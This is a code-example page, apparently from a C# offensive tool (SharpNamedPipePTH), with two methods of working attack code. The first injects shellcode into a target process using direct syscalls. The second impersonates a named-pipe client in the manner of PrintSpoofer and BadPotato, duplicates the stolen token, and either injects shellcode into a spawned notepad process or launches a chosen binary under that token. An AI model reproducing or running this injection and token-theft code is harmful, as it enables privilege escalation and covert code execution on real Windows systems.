Beispiel #1
0
        static void Main(string[] args)
        {
            // NtOpenProcess
            IntPtr        stub          = Generic.GetSyscallStub("NtOpenProcess");
            NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));

            IntPtr            hProcess = IntPtr.Zero;
            OBJECT_ATTRIBUTES oa       = new OBJECT_ATTRIBUTES();

            CLIENT_ID ci = new CLIENT_ID
            {
                UniqueProcess = (IntPtr)uint.Parse(args[0])
            };

            NTSTATUS result = ntOpenProcess(
                ref hProcess,
                0x001F0FFF,
                ref oa,
                ref ci);

            // NtAllocateVirtualMemory
            stub = Generic.GetSyscallStub("NtAllocateVirtualMemory");
            NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));

            IntPtr baseAddress = IntPtr.Zero;
            IntPtr regionSize  = (IntPtr)_shellcode.Length;

            result = ntAllocateVirtualMemory(
                hProcess,
                ref baseAddress,
                IntPtr.Zero,
                ref regionSize,
                0x1000 | 0x2000,
                0x04);

            // NtWriteVirtualMemory
            stub = Generic.GetSyscallStub("NtWriteVirtualMemory");
            NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));

            var buffer = Marshal.AllocHGlobal(_shellcode.Length);

            Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length);

            uint bytesWritten = 0;

            result = ntWriteVirtualMemory(
                hProcess,
                baseAddress,
                buffer,
                (uint)_shellcode.Length,
                ref bytesWritten);

            // NtProtectVirtualMemory
            stub = Generic.GetSyscallStub("NtProtectVirtualMemory");
            NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));

            uint oldProtect = 0;

            result = ntProtectVirtualMemory(
                hProcess,
                ref baseAddress,
                ref regionSize,
                0x20,
                ref oldProtect);

            // NtCreateThreadEx
            stub = Generic.GetSyscallStub("NtCreateThreadEx");
            NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

            IntPtr hThread = IntPtr.Zero;

            result = ntCreateThreadEx(
                out hThread,
                ACCESS_MASK.MAXIMUM_ALLOWED,
                IntPtr.Zero,
                hProcess,
                baseAddress,
                IntPtr.Zero,
                false,
                0,
                0,
                0,
                IntPtr.Zero);
        }
        public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes)
        {
            // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs

            string pipename = PipeName;
            string binary   = Binary;

            SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();

            // Create our named pipe
            pipename = string.Format("\\\\.\\pipe\\{0}", pipename);
            Console.WriteLine("Create Named Pipe: " + pipename);
            ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero);

            IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);

            if (hPipe != IntPtr.Zero)
            {
                // Connect to our named pipe and wait for another client to connect

                bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);

                if (result)
                {
                    Console.WriteLine("Connect success!");
                }
                else
                {
                    Console.WriteLine("Connect fail!");
                    return;
                }

                // Impersonate the token of the incoming connection
                result = ImpersonateNamedPipeClient(hPipe);
                if (result)
                {
                    Console.WriteLine("Successfully impersonated client!");
                }
                else
                {
                    Console.WriteLine("Impersonation failed!");
                    return;
                }

                // Open a handle on the impersonated token
                IntPtr tokenHandle;
                result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);

                if (result)
                {
                    Console.WriteLine("OpenThreadToken succeeded!");
                }
                else
                {
                    Console.WriteLine("OpenThreadToken failed!");
                    return;
                }

                // Duplicate the stolen token
                IntPtr sysToken = IntPtr.Zero;
                DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);

                if (result)
                {
                    Console.WriteLine("DuplicateTokenEx succeeded!");
                }
                else
                {
                    Console.WriteLine("DuplicateTokenEx failed!");
                    return;
                }

                // Get the impersonated identity and revert to self to ensure we have impersonation privs
                String name = WindowsIdentity.GetCurrent().Name;
                Console.WriteLine($"Impersonated user is: {name}.");

                if (shellcodebytes != null)
                {
                    RevertToSelf();

                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();
                    sInfo.cb = Marshal.SizeOf(sInfo);

                    binary = @"C:\windows\system32\notepad.exe";

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!");

                    int ProcID = ProcByName("notepad");

                    var shellcode = shellcodebytes;

                    // NtOpenProcess
                    IntPtr        stub          = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess");
                    NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));

                    IntPtr            hProcess = IntPtr.Zero;
                    OBJECT_ATTRIBUTES oa       = new OBJECT_ATTRIBUTES();

                    CLIENT_ID ci = new CLIENT_ID
                    {
                        UniqueProcess = (IntPtr)(ProcID)
                    };

                    SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult;

                    statusresult = ntOpenProcess(
                        ref hProcess,
                        0x001F0FFF,
                        ref oa,
                        ref ci);

                    // NtAllocateVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory");
                    NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));

                    IntPtr baseAddress = IntPtr.Zero;
                    IntPtr regionSize  = (IntPtr)shellcodebytes.Length;

                    statusresult = ntAllocateVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        IntPtr.Zero,
                        ref regionSize,
                        0x1000 | 0x2000,
                        0x04);

                    // NtWriteVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory");
                    NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));

                    var buffer = Marshal.AllocHGlobal(shellcodebytes.Length);
                    Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length);

                    uint bytesWritten = 0;

                    statusresult = ntWriteVirtualMemory(
                        hProcess,
                        baseAddress,
                        buffer,
                        (uint)shellcodebytes.Length,
                        ref bytesWritten);

                    // NtProtectVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
                    NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));

                    uint oldProtect = 0;

                    statusresult = ntProtectVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        ref regionSize,
                        0x20,
                        ref oldProtect);

                    // NtCreateThreadEx
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx");
                    NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

                    IntPtr hThread = IntPtr.Zero;

                    statusresult = ntCreateThreadEx(
                        out hThread,
                        SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
                        IntPtr.Zero,
                        hProcess,
                        baseAddress,
                        IntPtr.Zero,
                        false,
                        0,
                        0,
                        0,
                        IntPtr.Zero);
                }
                else
                {
                    // Only testing purpose to fake an interactive logon somehow
                    PROFILEINFO profInfo           = new PROFILEINFO();
                    bool        loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo);
                    if (loadProfileSuccess)
                    {
                        Console.WriteLine("LoadUserProfile success!");
                    }
                    else
                    {
                        Console.WriteLine("LoadUserProfile failed!");
                    }

                    RevertToSelf();

                    // Spawn a new process with the duplicated token, a desktop session, and the created profile
                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();

                    sInfo.cb = Marshal.SizeOf(sInfo);

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' with impersonated token!");
                }
            }
        }